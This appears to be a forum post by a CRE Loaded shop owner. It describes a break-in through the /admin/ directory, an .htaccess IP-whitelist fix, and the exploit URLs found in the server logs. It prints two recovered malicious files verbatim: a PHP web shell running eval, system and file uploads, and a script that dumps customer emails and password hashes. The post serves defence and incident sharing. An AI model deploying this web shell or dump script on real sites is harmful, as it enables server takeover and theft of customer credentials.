My v6.2 B2B[13.1 (SP1)] was also getting hacked. One of the symptoms was that my
"Define MainPage" text disappears.
Here is my solution (symptoms follow)Since all the attacks were via the /admin/ directory, and since it did not have time to patch all the possible files, I have simply restricted access to all /admin/ files, to selected IP addresses, by adding to /admin/.htaccess the following configuration:
Original end of /admin/.htaccess file:
Code:
<Files .htaccess>
order allow,deny
deny from all
</Files>
Modified end of /admin/.htaccess file:
Code:
<Files .htaccess>
order allow,deny
deny from all
</Files>
#Only users from my IP address, and a colleague
<Limit GET POST PUT>
order deny,allow
deny from all
allow from 11.22.33.44
allow from 123.123.123.123
</Limit>
Where the "allow from" IP address correspond to your (and authorised IP address). You can check your own IP address at
IP Chicken.
Symptoms of the hacksHere's what I discovered.
My log files showed a number of accesses from the Ukraine (IP=91.211.16.126), showing exploits of one or more of the following:
Code:
[*]/shop/admin/file_manager.php/login.php?action=processuploads
[*]/shop/admin/define_mainpage.php/login.php?lngdir=english&filename=mainpage.php&action=save
[*]/shop/admin/define_language.php/login.php?filename=cookie_usage.php&action=save&language=english
[*]/shop/goog1e_analist_591dcabf272245.php?cookies=1 (not google)
[*]/shop/admin/manufacturers.php/login.php?action=insert
[*]/shop/admin/categories.php/login.php?action=new_product_preview
[*]/shop/includes/languages/english/mainpage.php?cookies=1
[*]/shop/cookie_usage.php?cookies=1&language=english
[*]/shop/images/goog1eb3852156971218.php
Note that some of these do not access the /admin/ directory directly.
I found a number of unauthorized files in my admin/images/ folder, include some beginning with the string "goog1e" (not google), containing the code:
Code:
Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>
And also an unauthorized file called mhp.php containing the following code:
Code:
<?php
$p=$_REQUEST['p'];
if (!isset($p) || md5($p)!='c180aaadf5ab10fb3a733f43f3ffc4b3') die ('');
if ($_REQUEST['d'] == '1') unlink($HTTP_SERVER_VARS['SCRIPT_FILENAME']);
echo "#mhpver11"."\n";
//mail hash parser oscommerce
include "../includes/database_tables.php";
include "../includes/configure.php";
$link = mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD)
or die("Could not connect");
mysql_select_db(DB_DATABASE);
$result = mysql_query ("SELECT customers_email_address,customers_password FROM ".TABLE_CUSTOMERS);
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
$l = $line['customers_email_address'].":".$line['customers_password'];
if (preg_match("/:[a-f0-9]{32}:[a-f0-9]{2}/i",$l)) echo $l."\n";
}
?>
The latter seems to acquire your customer passwords (though these should not be stored in your database!).
And finallyOn entering the Admin login screen, there are often messages to upgrade to the next version of CRE Loaded. I do not recall ever seeing a note that there is a security patch.